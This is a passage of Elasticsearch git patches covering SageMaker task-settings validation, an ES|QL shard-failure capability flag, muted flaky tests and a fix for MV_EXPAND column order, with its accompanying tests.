--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/ElasticPayload.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/ElasticPayload.java
@@ -88,12 +88,6 @@ default SdkBytes requestBytes(SageMakerModel model, SageMakerInferenceRequest re
 
     @Override
     default SageMakerElasticTaskSettings apiTaskSettings(Map<String, Object> taskSettings, ValidationException validationException) {
-        if (taskSettings != null && (taskSettings.isEmpty() == false)) {
-            validationException.addValidationError(
-                InferenceAction.Request.TASK_SETTINGS.getPreferredName()
-                    + " is only supported during the inference request and cannot be stored in the inference endpoint."
-            );
-        }
         return SageMakerElasticTaskSettings.empty();
     }
 
diff --git a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/SageMakerElasticTaskSettings.java b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/SageMakerElasticTaskSettings.java
index 088de2068741c..dc0bc91fccd75 100644
--- a/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/SageMakerElasticTaskSettings.java
+++ b/x-pack/plugin/inference/src/main/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/SageMakerElasticTaskSettings.java
@@ -9,10 +9,12 @@
 
 import org.elasticsearch.TransportVersion;
 import org.elasticsearch.TransportVersions;
+import org.elasticsearch.common.ValidationException;
 import org.elasticsearch.common.io.stream.StreamInput;
 import org.elasticsearch.common.io.stream.StreamOutput;
 import org.elasticsearch.core.Nullable;
 import org.elasticsearch.xcontent.XContentBuilder;
+import org.elasticsearch.xpack.core.inference.action.InferenceAction;
 import org.elasticsearch.xpack.inference.services.sagemaker.schema.SageMakerStoredTaskSchema;
 
 import java.io.IOException;
@@ -40,6 +42,16 @@ public boolean isEmpty() {
 
     @Override
     public SageMakerStoredTaskSchema updatedTaskSettings(Map<String, Object> newSettings) {
+        var validationException = new ValidationException();
+        validationException.addValidationError(
+            InferenceAction.Request.TASK_SETTINGS.getPreferredName()
+                + " is only supported during the inference request and cannot be stored in the inference endpoint."
+        );
+        throw validationException;
+    }
+
+    @Override
+    public SageMakerStoredTaskSchema override(Map<String, Object> newSettings) {
         return new SageMakerElasticTaskSettings(newSettings);
     }
 
diff --git a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerSchemaPayloadTestCase.java b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerSchemaPayloadTestCase.java
index adffbb366fb02..90b5042d3dec4 100644
--- a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerSchemaPayloadTestCase.java
+++ b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/SageMakerSchemaPayloadTestCase.java
@@ -119,7 +119,7 @@ public final void testWithUnknownApiTaskSettings() {
         }
     }
 
-    public final void testUpdate() throws IOException {
+    public void testUpdate() throws IOException {
         var taskSettings = randomApiTaskSettings();
         if (taskSettings != SageMakerStoredTaskSchema.NO_OP) {
             var otherTaskSettings = randomValueOtherThan(taskSettings, this::randomApiTaskSettings);
diff --git a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/ElasticPayloadTestCase.java b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/ElasticPayloadTestCase.java
index 65dcd62bb149a..9e4cfc52e9568 100644
--- a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/ElasticPayloadTestCase.java
+++ b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/sagemaker/schema/elastic/ElasticPayloadTestCase.java
@@ -18,8 +18,8 @@
 import java.util.List;
 import java.util.Map;
 
-import static org.hamcrest.Matchers.equalTo;
-import static org.hamcrest.Matchers.is;
+import static org.elasticsearch.xpack.inference.services.InferenceSettingsTestCase.toMap;
+import static org.hamcrest.Matchers.containsString;
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
@@ -50,6 +50,7 @@ protected SageMakerModel mockModel(SageMakerElasticTaskSettings taskSettings) {
         return model;
     }
 
+    @Override
     public void testApiTaskSettings() {
         {
             var validationException = new ValidationException();
@@ -67,14 +68,21 @@ public void testApiTaskSettings() {
             var validationException = new ValidationException();
             var actualApiTaskSettings = payload.apiTaskSettings(Map.of("hello", "world"), validationException);
             assertTrue(actualApiTaskSettings.isEmpty());
-            assertFalse(validationException.validationErrors().isEmpty());
-            assertThat(
-                validationException.validationErrors().get(0),
-                is(equalTo("task_settings is only supported during the inference request and cannot be stored in the inference endpoint."))
-            );
+            assertTrue(validationException.validationErrors().isEmpty());
         }
     }
 
+    @Override
+    public void testUpdate() {
+        var taskSettings = randomApiTaskSettings();
+        var otherTaskSettings = randomValueOtherThan(taskSettings, this::randomApiTaskSettings);
+        var e = assertThrows(ValidationException.class, () -> taskSettings.updatedTaskSettings(toMap(otherTaskSettings)));
+        assertThat(
+            e.getMessage(),
+            containsString("task_settings is only supported during the inference request and cannot be stored in the inference endpoint")
+        );
+    }
+
     public void testRequestWithRequiredFields() throws Exception {
         var request = new SageMakerInferenceRequest(null, null, null, List.of("hello"), false, InputType.UNSPECIFIED);
         var sdkByes = payload.requestBytes(mockModel(), request);

From 8a8845d2823c10f084a8c188511c31cdfbaed149 Mon Sep 17 00:00:00 2001
From: Stanislav Malyshev <smalyshev@users.noreply.github.com>
Date: Wed, 16 Jul 2025 14:17:03 -0600
Subject: [PATCH 171/299] Put shards failure under a cap flag (#131371)
 (#131388)

* Put shards failure under a cap flag

(cherry picked from commit 04119405d141bcb390509f766ebbb7660b0ffe72)

# Conflicts:
#	x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
---
 .../test/esql/EsqlPartialResultsIT.java       | 24 +++++++++++++++++++
 .../xpack/esql/action/EsqlCapabilities.java   |  7 +++++-
 .../xpack/esql/plugin/ComputeService.java     |  4 ++++
 3 files changed, 34 insertions(+), 1 deletion(-)

diff --git a/test/external-modules/error-query/src/javaRestTest/java/org/elasticsearch/test/esql/EsqlPartialResultsIT.java b/test/external-modules/error-query/src/javaRestTest/java/org/elasticsearch/test/esql/EsqlPartialResultsIT.java
index 5f85dc8f3bec1..5c3a8b2c50e15 100644
--- a/test/external-modules/error-query/src/javaRestTest/java/org/elasticsearch/test/esql/EsqlPartialResultsIT.java
+++ b/test/external-modules/error-query/src/javaRestTest/java/org/elasticsearch/test/esql/EsqlPartialResultsIT.java
@@ -214,6 +214,10 @@ public void testFailureFromRemote() throws Exception {
     }
 
     public void testAllShardsFailed() throws Exception {
+        assumeTrue(
+            "fail functionality is not enabled",
+            clusterHasCapability("POST", "/_query", List.of(), List.of("fail_if_all_shards_fail")).orElse(false)
+        );
         setupRemoteClusters();
         populateIndices();
         try {
@@ -232,6 +236,26 @@ public void testAllShardsFailed() throws Exception {
         }
     }
 
+    public void testAllShardsFailedOldBehavior() throws Exception {
+        // TODO: drop this once we no longer support the old behavior
+        assumeFalse(
+            "fail functionality is enabled",
+            clusterHasCapability("POST", "/_query", List.of(), List.of("fail_if_all_shards_fail")).orElse(false)
+        );
+        setupRemoteClusters();
+        populateIndices();
+        try {
+            Request request = new Request("POST", "/_query");
+            request.setJsonEntity("{\"query\": \"FROM " + "*:failing*" + " | LIMIT 100\"}");
+            request.addParameter("allow_partial_results", "true");
+            Response resp = client().performRequest(request);
+            Map<String, Object> results = entityAsMap(resp);
+            assertThat(results.get("is_partial"), equalTo(true));
+        } finally {
+            removeRemoteCluster();
+        }
+    }
+
     private void setupRemoteClusters() throws IOException {
         String settings = String.format(Locale.ROOT, """
             {
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
index b23ed78177e21..73fd274e9e35f 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
@@ -1244,7 +1244,12 @@ public enum Cap {
          * Forbid usage of brackets in unquoted index and enrich policy names
          * https://github.com/elastic/elasticsearch/issues/130378
          */
-        NO_BRACKETS_IN_UNQUOTED_INDEX_NAMES;
+        NO_BRACKETS_IN_UNQUOTED_INDEX_NAMES,
+
+        /**
+         * Fail if all shards fail
+         */
+        FAIL_IF_ALL_SHARDS_FAIL(Build.current().isSnapshot());
 
         private final boolean enabled;
 
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
index 973455f435fab..1ae6a4634644d 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/plugin/ComputeService.java
@@ -47,6 +47,7 @@
 import org.elasticsearch.transport.RemoteClusterAware;
 import org.elasticsearch.transport.TransportException;
 import org.elasticsearch.transport.TransportService;
+import org.elasticsearch.xpack.esql.action.EsqlCapabilities;
 import org.elasticsearch.xpack.esql.action.EsqlExecutionInfo;
 import org.elasticsearch.xpack.esql.action.EsqlQueryAction;
 import org.elasticsearch.xpack.esql.core.expression.Attribute;
@@ -548,6 +549,9 @@ private static void updateExecutionInfoAfterCoordinatorOnlyQuery(EsqlExecutionIn
      * which doesn't consider the failures from the remote clusters when skip_unavailable is true.
      */
     static void failIfAllShardsFailed(EsqlExecutionInfo execInfo, List<Page> finalResults) {
+        if (EsqlCapabilities.Cap.FAIL_IF_ALL_SHARDS_FAIL.isEnabled() == false) {
+            return;
+        }
         // do not fail if any final result has results
         if (finalResults.stream().anyMatch(p -> p.getPositionCount() > 0)) {
             return;

From 20205ebf9198da6e329a60d00389c8475b71709b Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Wed, 16 Jul 2025 23:34:19 +0200
Subject: [PATCH 172/299] Mute org.elasticsearch.repositories.s3.S3ServiceTests
 testGetClientRegionFromEndpointSettingGuess #131392

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 34f4127078ec7..0208a5b4bc2d5 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -426,6 +426,9 @@ tests:
 - class: org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
   method: testStopQueryLocal
   issue: https://github.com/elastic/elasticsearch/issues/121672
+- class: org.elasticsearch.repositories.s3.S3ServiceTests
+  method: testGetClientRegionFromEndpointSettingGuess
+  issue: https://github.com/elastic/elasticsearch/issues/131392
 
 # Examples:
 #

From fe66d3d88822649f1461f5248f2d6569eb8aaa3e Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Thu, 17 Jul 2025 01:16:32 +0200
Subject: [PATCH 173/299] Mute org.elasticsearch.packaging.test.DockerTests
 test050BasicApiTests #120911

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 0208a5b4bc2d5..112e4384e49d4 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -429,6 +429,9 @@ tests:
 - class: org.elasticsearch.repositories.s3.S3ServiceTests
   method: testGetClientRegionFromEndpointSettingGuess
   issue: https://github.com/elastic/elasticsearch/issues/131392
+- class: org.elasticsearch.packaging.test.DockerTests
+  method: test050BasicApiTests
+  issue: https://github.com/elastic/elasticsearch/issues/120911
 
 # Examples:
 #

From 3a33d257369bf523a198b226b8b2ff8e3cf1aa14 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Thu, 17 Jul 2025 09:36:55 +0200
Subject: [PATCH 174/299] Mute org.elasticsearch.packaging.test.DockerTests
 test071BindMountCustomPathWithDifferentUID #120917

---
 muted-tests.yml | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/muted-tests.yml b/muted-tests.yml
index 112e4384e49d4..b976884745ff2 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -432,6 +432,9 @@ tests:
 - class: org.elasticsearch.packaging.test.DockerTests
   method: test050BasicApiTests
   issue: https://github.com/elastic/elasticsearch/issues/120911
+- class: org.elasticsearch.packaging.test.DockerTests
+  method: test071BindMountCustomPathWithDifferentUID
+  issue: https://github.com/elastic/elasticsearch/issues/120917
 
 # Examples:
 #

From 8fbcb4af683a9703c64a1693dceebe4a58dc42f5 Mon Sep 17 00:00:00 2001
From: Alexander Spies <alexander.spies@elastic.co>
Date: Thu, 17 Jul 2025 12:23:43 +0200
Subject: [PATCH 175/299] ESQL: Fix inconsistent column order in MV_EXPAND
 (#129745) (#131413)

The new attribute generated by MV_EXPAND should remain in the original position. The projection added by ProjectAwayColumns does not respect the original order of attributes.

Make ProjectAwayColumns respect the order of attributes to fix this.

Co-authored-by: kanoshiou <brycegjh@outlook.com>
---
 docs/changelog/129745.yaml                    |   6 +
 .../esql/core/expression/AttributeSet.java    |   4 +
 .../rest/generative/GenerativeRestTest.java   |   1 -
 .../src/main/resources/mv_expand.csv-spec     |  62 +++
 .../xpack/esql/action/EsqlCapabilities.java   |   6 +
 .../rules/physical/ProjectAwayColumns.java    |  14 +-
 .../optimizer/PhysicalPlanOptimizerTests.java | 500 +++++++++---------
 7 files changed, 350 insertions(+), 243 deletions(-)
 create mode 100644 docs/changelog/129745.yaml

diff --git a/docs/changelog/129745.yaml b/docs/changelog/129745.yaml
new file mode 100644
index 0000000000000..35cfd0671bd64
--- /dev/null
+++ b/docs/changelog/129745.yaml
@@ -0,0 +1,6 @@
+pr: 129745
+summary: "ESQL: Fix `mv_expand` inconsistent column order"
+area: ES|QL
+type: bug
+issues:
+  - 129000
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/expression/AttributeSet.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/expression/AttributeSet.java
index d281db4e6bf63..fefaf3098319e 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/expression/AttributeSet.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/expression/AttributeSet.java
@@ -261,5 +261,9 @@ public boolean isEmpty() {
         public AttributeSet build() {
             return new AttributeSet(mapBuilder.build());
         }
+
+        public void clear() {
+            mapBuilder.keySet().clear();
+        }
     }
 }
diff --git a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/generative/GenerativeRestTest.java b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/generative/GenerativeRestTest.java
index 56fc925ed8421..e997995e50b9d 100644
--- a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/generative/GenerativeRestTest.java
+++ b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/generative/GenerativeRestTest.java
@@ -53,7 +53,6 @@ public abstract class GenerativeRestTest extends ESRestTestCase {
         "Data too large", // Circuit breaker exceptions eg. https://github.com/elastic/elasticsearch/issues/130072
 
         // Awaiting fixes for correctness
-        "Expecting the following columns \\[.*\\], got", // https://github.com/elastic/elasticsearch/issues/129000
         "Expecting at most \\[.*\\] columns, got \\[.*\\]" // https://github.com/elastic/elasticsearch/issues/129561
     );
 
diff --git a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/mv_expand.csv-spec b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/mv_expand.csv-spec
index 20ce3ecc5a396..c7dbe01ef6f09 100644
--- a/x-pack/plugin/esql/qa/testFixtures/src/main/resources/mv_expand.csv-spec
+++ b/x-pack/plugin/esql/qa/testFixtures/src/main/resources/mv_expand.csv-spec
@@ -419,3 +419,65 @@ emp_no:integer | job_positions:keyword
 10001          | Accountant
 10001          | Senior Python Developer          
 ;
+
+testMvExpandInconsistentColumnOrder1
+required_capability: fix_mv_expand_inconsistent_column_order
+from message_types
+| eval foo_1 = 1, foo_2 = 2 
+| sort message
+| mv_expand foo_1
+;
+
+message:keyword         | type:keyword | foo_1:integer | foo_2:integer
+Connected to 10.1.0.1   | Success      | 1             | 2
+Connected to 10.1.0.2   | Success      | 1             | 2
+Connected to 10.1.0.3   | Success      | 1             | 2
+Connection error        | Error        | 1             | 2
+Development environment | Development  | 1             | 2
+Disconnected            | Disconnected | 1             | 2
+Production environment  | Production   | 1             | 2
+;
+
+testMvExpandInconsistentColumnOrder2
+required_capability: fix_mv_expand_inconsistent_column_order
+from message_types
+| eval foo_1 = [1, 3], foo_2 = 2
+| sort message
+| mv_expand foo_1
+;
+
+message:keyword         | type:keyword | foo_1:integer | foo_2:integer
+Connected to 10.1.0.1   | Success      | 1             | 2
+Connected to 10.1.0.1   | Success      | 3             | 2
+Connected to 10.1.0.2   | Success      | 1             | 2
+Connected to 10.1.0.2   | Success      | 3             | 2
+Connected to 10.1.0.3   | Success      | 1             | 2
+Connected to 10.1.0.3   | Success      | 3             | 2
+Connection error        | Error        | 1             | 2
+Connection error        | Error        | 3             | 2
+Development environment | Development  | 1             | 2
+Development environment | Development  | 3             | 2
+Disconnected            | Disconnected | 1             | 2
+Disconnected            | Disconnected | 3             | 2
+Production environment  | Production   | 1             | 2
+Production environment  | Production   | 3             | 2
+;
+
+testMvExpandInconsistentColumnOrder3
+required_capability: fix_mv_expand_inconsistent_column_order
+from message_types
+| sort type
+| eval language_code = 1, `language_name` = false, message = true, foo_3 = 1, foo_2 = null
+| eval foo_3 = "1", `foo_3` = -1, foo_1 = 1, `language_code` = null, `foo_2` = "1"
+| mv_expand foo_1
+| limit 5
+;
+
+type:keyword | language_name:boolean | message:boolean | foo_3:integer | foo_1:integer | language_code:null | foo_2:keyword
+Development  | false                 | true            | -1            | 1             | null               | 1
+Disconnected | false                 | true            | -1            | 1             | null               | 1
+Error        | false                 | true            | -1            | 1             | null               | 1
+Production   | false                 | true            | -1            | 1             | null               | 1
+Success      | false                 | true            | -1            | 1             | null               | 1
+;
+
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
index 73fd274e9e35f..c343d1d5d3f7f 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
@@ -1227,6 +1227,12 @@ public enum Cap {
          */
         NO_PLAIN_STRINGS_IN_LITERALS,
 
+        /**
+         * Support for the mv_expand target attribute should be retained in its original position.
+         * see <a href="https://github.com/elastic/elasticsearch/issues/129000"> ES|QL: inconsistent column order #129000 </a>
+         */
+        FIX_MV_EXPAND_INCONSISTENT_COLUMN_ORDER,
+
         /**
          * (Re)Added EXPLAIN command
          */
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/ProjectAwayColumns.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/ProjectAwayColumns.java
index 26cfbf40eb7ff..887fb039a14cb 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/ProjectAwayColumns.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/optimizer/rules/physical/ProjectAwayColumns.java
@@ -76,7 +76,19 @@ public PhysicalPlan apply(PhysicalPlan plan) {
 
                     // no need for projection when dealing with aggs
                     if (logicalFragment instanceof Aggregate == false) {
-                        List<Attribute> output = new ArrayList<>(requiredAttrBuilder.build());
+                        // we should respect the order of the attributes
+                        List<Attribute> output = new ArrayList<>();
+                        for (Attribute attribute : logicalFragment.output()) {
+                            if (requiredAttrBuilder.contains(attribute)) {
+                                output.add(attribute);
+                                requiredAttrBuilder.remove(attribute);
+                            }
+                        }
+                        // requiredAttrBuilder should be empty unless the plan is inconsistent due to a bug.
+                        // This can happen in case of remote ENRICH, see https://github.com/elastic/elasticsearch/issues/118531
+                        // TODO: stop adding the remaining required attributes once remote ENRICH is fixed.
+                        output.addAll(requiredAttrBuilder.build());
+
                         // if all the fields are filtered out, it's only the count that matters
                         // however until a proper fix (see https://github.com/elastic/elasticsearch/issues/98703)
                         // add a synthetic field (so it doesn't clash with the user defined one) to return a constant
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/PhysicalPlanOptimizerTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/PhysicalPlanOptimizerTests.java
index b6ef858bd00f3..876a445e9e563 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/PhysicalPlanOptimizerTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/optimizer/PhysicalPlanOptimizerTests.java
@@ -128,6 +128,7 @@
 import org.elasticsearch.xpack.esql.plan.physical.LimitExec;
 import org.elasticsearch.xpack.esql.plan.physical.LocalSourceExec;
 import org.elasticsearch.xpack.esql.plan.physical.LookupJoinExec;
+import org.elasticsearch.xpack.esql.plan.physical.MvExpandExec;
 import org.elasticsearch.xpack.esql.plan.physical.PhysicalPlan;
 import org.elasticsearch.xpack.esql.plan.physical.ProjectExec;
 import org.elasticsearch.xpack.esql.plan.physical.TopNExec;
@@ -193,6 +194,7 @@
 import static org.hamcrest.Matchers.closeTo;
 import static org.hamcrest.Matchers.contains;
 import static org.hamcrest.Matchers.containsInAnyOrder;
+import static org.hamcrest.Matchers.containsInRelativeOrder;
 import static org.hamcrest.Matchers.containsString;
 import static org.hamcrest.Matchers.empty;
 import static org.hamcrest.Matchers.equalTo;
@@ -625,16 +627,16 @@ public void testTripleExtractorPerField() {
     }
 
     /**
-     * Expected
-     * LimitExec[10000[INTEGER]]
-     * \_AggregateExec[[],[AVG(salary{f}#14) AS x],FINAL]
-     *   \_AggregateExec[[],[AVG(salary{f}#14) AS x],PARTIAL]
-     *     \_FilterExec[ROUND(emp_no{f}#9) > 10[INTEGER]]
-     *       \_TopNExec[[Order[last_name{f}#13,ASC,LAST]],10[INTEGER]]
-     *         \_ExchangeExec[]
-     *           \_ProjectExec[[salary{f}#14, first_name{f}#10, emp_no{f}#9, last_name{f}#13]]     -- project away _doc
-     *             \_FieldExtractExec[salary{f}#14, first_name{f}#10, emp_no{f}#9, last_n..]       -- local field extraction
-     *               \_EsQueryExec[test], query[][_doc{f}#16], limit[10], sort[[last_name]]
+     *LimitExec[10000[INTEGER],8]
+     * \_AggregateExec[[],[SUM(salary{f}#13460,true[BOOLEAN]) AS x#13454],FINAL,[$$x$sum{r}#13466, $$x$seen{r}#13467],8]
+     *   \_AggregateExec[[],[SUM(salary{f}#13460,true[BOOLEAN]) AS x#13454],INITIAL,[$$x$sum{r}#13466, $$x$seen{r}#13467],8]
+     *     \_FilterExec[ROUND(emp_no{f}#13455) > 10[INTEGER]]
+     *       \_TopNExec[[Order[last_name{f}#13459,ASC,LAST]],10[INTEGER],58]
+     *         \_ExchangeExec[[emp_no{f}#13455, last_name{f}#13459, salary{f}#13460],false]
+     *           \_ProjectExec[[emp_no{f}#13455, last_name{f}#13459, salary{f}#13460]]              -- project away _doc
+     *             \_FieldExtractExec[emp_no{f}#13455, last_name{f}#13459, salary{f}#1346..] &lt;[],[]&gt; -- local field extraction
+     *               \_EsQueryExec[test], indexMode[standard], query[][_doc{f}#13482], limit[10],
+     *               sort[[FieldSort[field=last_name{f}#13459, direction=ASC, nulls=LAST]]] estimatedRowSize[74]
      */
     public void testExtractorForField() {
         var plan = physicalPlan("""
@@ -658,7 +660,7 @@ public void testExtractorForField() {
         var exchange = asRemoteExchange(topN.child());
         var project = as(exchange.child(), ProjectExec.class);
         var extract = as(project.child(), FieldExtractExec.class);
-        assertThat(names(extract.attributesToExtract()), contains("salary", "emp_no", "last_name"));
+        assertThat(names(extract.attributesToExtract()), contains("emp_no", "last_name", "salary"));
         var source = source(extract.child());
         assertThat(source.limit(), is(topN.limit()));
         assertThat(source.sorts(), is(fieldSorts(topN.order())));
@@ -2209,7 +2211,7 @@ public void testNoPushDownChangeCase() {
      *      ages{f}#6, last_name{f}#7, long_noidx{f}#13, salary{f}#8],false]
      *   \_ProjectExec[[_meta_field{f}#9, emp_no{f}#3, first_name{f}#4, gender{f}#5, hire_date{f}#10, job{f}#11, job.raw{f}#12, langu
      *          ages{f}#6, last_name{f}#7, long_noidx{f}#13, salary{f}#8]]
-     *     \_FieldExtractExec[_meta_field{f}#9, emp_no{f}#3, first_name{f}#4, gen..]<[],[]>
+     *     \_FieldExtractExec[_meta_field{f}#9, emp_no{f}#3, first_name{f}#4, gen..]&lt;[],[]&gt;
      *       \_EsQueryExec[test], indexMode[standard], query[{"esql_single_value":{"field":"first_name","next":{"regexp":{"first_name":
      *       {"value":"foo*","flags_value":65791,"case_insensitive":true,"max_determinized_states":10000,"boost":0.0}}},
      *       "source":"TO_LOWER(first_name) RLIKE \"foo*\"@2:9"}}][_doc{f}#25], limit[1000], sort[] estimatedRowSize[332]
@@ -2330,10 +2332,10 @@ public void testPushDownUpperCaseChangeLike() {
      * uages{f}#7, last_name{f}#8, long_noidx{f}#14, salary{f}#9],false]
      *   \_ProjectExec[[_meta_field{f}#10, emp_no{f}#4, first_name{f}#5, gender{f}#6, hire_date{f}#11, job{f}#12, job.raw{f}#13, lang
      * uages{f}#7, last_name{f}#8, long_noidx{f}#14, salary{f}#9]]
-     *     \_FieldExtractExec[_meta_field{f}#10, gender{f}#6, hire_date{f}#11, jo..]<[],[]>
+     *     \_FieldExtractExec[_meta_field{f}#10, gender{f}#6, hire_date{f}#11, jo..]&lt;[],[]&gt;
      *       \_LimitExec[1000[INTEGER]]
      *         \_FilterExec[LIKE(first_name{f}#5, "FOO*", true) OR IN(1[INTEGER],2[INTEGER],3[INTEGER],emp_no{f}#4 + 1[INTEGER])]
-     *           \_FieldExtractExec[first_name{f}#5, emp_no{f}#4]<[],[]>
+     *           \_FieldExtractExec[first_name{f}#5, emp_no{f}#4]&lt;[],[]&gt;
      *             \_EsQueryExec[test], indexMode[standard], query[][_doc{f}#26], limit[], sort[] estimatedRowSize[332]
      */
     public void testChangeCaseAsInsensitiveWildcardLikeNotPushedDown() {
@@ -2448,22 +2450,17 @@ public void testPushDownEvalFilter() {
 
     /**
      * <code>
-     * ProjectExec[[last_name{f}#21 AS name, first_name{f}#18 AS last_name, last_name{f}#21 AS first_name]]
-     * \_TopNExec[[Order[last_name{f}#21,ASC,LAST]],10[INTEGER],0]
-     *   \_ExchangeExec[[last_name{f}#21, first_name{f}#18],false]
-     *     \_ProjectExec[[last_name{f}#21, first_name{f}#18]]
-     *       \_FieldExtractExec[last_name{f}#21, first_name{f}#18][]
-     *         \_EsQueryExec[test], indexMode[standard], query[{
-     *           "bool":{"must":[
-     *             {"esql_single_value":{
-     *               "field":"last_name",
-     *               "next":{"range":{"last_name":{"gt":"B","boost":1.0}}},
-     *               "source":"first_name &gt; \"B\"@3:9"
-     *             }},
-     *             {"exists":{"field":"first_name","boost":1.0}}
-     *           ],"boost":1.0}}][_doc{f}#40], limit[10], sort[[
-     *             FieldSort[field=last_name{f}#21, direction=ASC, nulls=LAST]
-     *           ]] estimatedRowSize[116]
+     * ProjectExec[[last_name{f}#13858 AS name#13841, first_name{f}#13855 AS last_name#13844, last_name{f}#13858 AS first_name#13
+     * 847]]
+     * \_TopNExec[[Order[last_name{f}#13858,ASC,LAST]],10[INTEGER],100]
+     *   \_ExchangeExec[[first_name{f}#13855, last_name{f}#13858],false]
+     *     \_ProjectExec[[first_name{f}#13855, last_name{f}#13858]]
+     *       \_FieldExtractExec[first_name{f}#13855, last_name{f}#13858]&lt;[],[]&gt;
+     *         \_EsQueryExec[test], indexMode[standard], query[
+     *         {"bool":{"must":[{"esql_single_value":{"field":"last_name","next":
+     *         {"range":{"last_name":{"gt":"B","boost":0.0}}},"source":"first_name > \"B\"@3:9"}},
+     *         {"exists":{"field":"first_name","boost":0.0}}],"boost":1.0}}
+     *         ][_doc{f}#13879], limit[10], sort[[FieldSort[field=last_name{f}#13858, direction=ASC, nulls=LAST]]] estimatedRowSize[116]
      * </code>
      */
     public void testPushDownEvalSwapFilter() {
@@ -2484,7 +2481,7 @@ public void testPushDownEvalSwapFilter() {
         var extract = as(project.child(), FieldExtractExec.class);
         assertThat(
             extract.attributesToExtract().stream().map(Attribute::name).collect(Collectors.toList()),
-            contains("last_name", "first_name")
+            contains("first_name", "last_name")
         );
 
         // Now verify the correct Lucene push-down of both the filter and the sort
@@ -2597,7 +2594,7 @@ public void testDissect() {
      * uages{f}#7, last_name{f}#8, long_noidx{f}#14, salary{f}#9, _index{m}#2],false]
      *   \_ProjectExec[[_meta_field{f}#10, emp_no{f}#4, first_name{f}#5, gender{f}#6, hire_date{f}#11, job{f}#12, job.raw{f}#13, lang
      * uages{f}#7, last_name{f}#8, long_noidx{f}#14, salary{f}#9, _index{m}#2]]
-     *     \_FieldExtractExec[_meta_field{f}#10, emp_no{f}#4, first_name{f}#5, ge..]<[],[]>
